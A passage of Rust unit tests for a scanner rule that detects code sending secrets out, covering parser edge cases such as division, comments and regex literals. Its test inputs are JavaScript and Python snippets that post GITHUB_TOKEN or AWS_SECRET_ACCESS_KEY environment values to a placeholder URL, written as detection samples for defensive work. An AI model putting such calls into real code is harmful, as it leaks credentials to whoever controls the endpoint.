                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in data= after headers= in same call should fire"
        );
    }

    // -----------------------------------------------------------------------
    // Division inside call args must not truncate the span
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_division_in_args_fires() {
        let input = r#"fetch(url, {body: 1 / 2, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "division operator in call args should not break parser"
        );
    }

    #[test]
    fn test_exfil_paren_division_in_args_fires() {
        let input = r#"fetch(url, {body: (a / b), json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "parenthesized division in call args should not break parser"
        );
    }

    #[test]
    fn test_find_call_end_division() {
        let input = b"url, {body: 1 / 2, val})";
        assert_eq!(find_call_end(input, 0), Some(24));
    }

    // -----------------------------------------------------------------------
    // Nested "headers" key inside body/data/json must NOT suppress
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_nested_headers_in_body_fires() {
        let input = r#"fetch(url, {body: JSON.stringify({headers: "x", token: process.env.GITHUB_TOKEN})})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "nested 'headers' key inside body payload should NOT suppress"
        );
    }

    #[test]
    fn test_exfil_python_nested_headers_in_data_fires() {
        let input = r#"requests.post(url, data={"headers": "x", "token": os.environ["AWS_SECRET_ACCESS_KEY"]})"#;
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "nested 'headers' key inside data= dict should NOT suppress"
        );
    }

    #[test]
    fn test_exfil_nested_headers_in_json_fires() {
        let input = r#"fetch(url, {json: {headers: "x", token: process.env.GITHUB_TOKEN}})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "nested 'headers' key inside json property should NOT suppress"
        );
    }

    // -----------------------------------------------------------------------
    // Commented-out "headers" keyword must not suppress real data exfil
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_python_hash_comment_headers_fires() {
        let input = "requests.post(url, data={# headers: fake\n'token': os.environ[\"AWS_SECRET_ACCESS_KEY\"]})";
        let findings = check(input, Some("test.py"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "# headers: inside comment must NOT suppress data= exfil"
        );
    }

    #[test]
    fn test_exfil_js_block_comment_headers_fires() {
        let input =
            r#"fetch(url, {/* headers: */ body: JSON.stringify({key: process.env.GITHUB_TOKEN})})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "/* headers: */ inside comment must NOT suppress body exfil"
        );
    }

    #[test]
    fn test_exfil_regex_literal_headers_fires() {
        let input = r#"fetch(url, {body: /headers: \{/, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "/headers: .../ inside regex literal must NOT suppress"
        );
    }

    #[test]
    fn test_exfil_regex_literal_authorization_fires() {
        let input = r#"fetch(url, {body: /Authorization: \[/, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "/Authorization: .../ inside regex literal must NOT suppress"
        );
    }

    // -----------------------------------------------------------------------
    // Division across newlines must not truncate call span
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_multiline_division_fires() {
        let input = "fetch(url, {body: 1\n/ 2, json: process.env.GITHUB_TOKEN})";
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "multiline division should not break parser"
        );
    }

    #[test]
    fn test_exfil_multiline_paren_division_fires() {
        let input = "fetch(url, {body: (a\n/ b), json: process.env.GITHUB_TOKEN})";
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "parenthesized multiline division should not break parser"
        );
    }

    #[test]
    fn test_find_call_end_multiline_division() {
        let input = b"url, {body: 1\n/ 2, val})";
        assert_eq!(find_call_end(input, 0), Some(24));
    }

    // -----------------------------------------------------------------------
    // Postfix ++/-- before division must not truncate call span
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_postfix_increment_division_fires() {
        let input = r#"fetch(url, {body: a++ / 2, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "a++ / 2 should not break parser"
        );
    }

    #[test]
    fn test_exfil_postfix_decrement_division_fires() {
        let input = r#"fetch(url, {body: a-- / 2, json: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "a-- / 2 should not break parser"
        );
    }

    #[test]
    fn test_find_call_end_postfix_increment() {
        let input = b"url, {body: a++ / 2, val})";
        assert_eq!(find_call_end(input, 0), Some(26));
    }

    #[test]
    fn test_find_call_end_postfix_decrement() {
        let input = b"url, {body: a-- / 2, val})";
        assert_eq!(find_call_end(input, 0), Some(26));
    }

    // -----------------------------------------------------------------------
    // Combined: postfix division + non-send property must suppress
    // -----------------------------------------------------------------------

    #[test]
    fn test_exfil_postfix_inc_div_then_meta_no_fire() {
        let input = r#"fetch(url, {body: a++ / 2, meta: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in meta: after body: a++ / 2 should NOT fire"
        );
    }

    #[test]
    fn test_exfil_postfix_dec_div_then_token_no_fire() {
        let input = r#"fetch(url, {body: a-- / 2, token: process.env.GITHUB_TOKEN})"#;
        let findings = check(input, Some("test.js"));
        assert!(
            !findings
                .iter()
                .any(|f| f.rule_id == RuleId::SuspiciousCodeExfiltration),
            "secret in token: after body: a-- / 2 should NOT fire"
        );
    }
}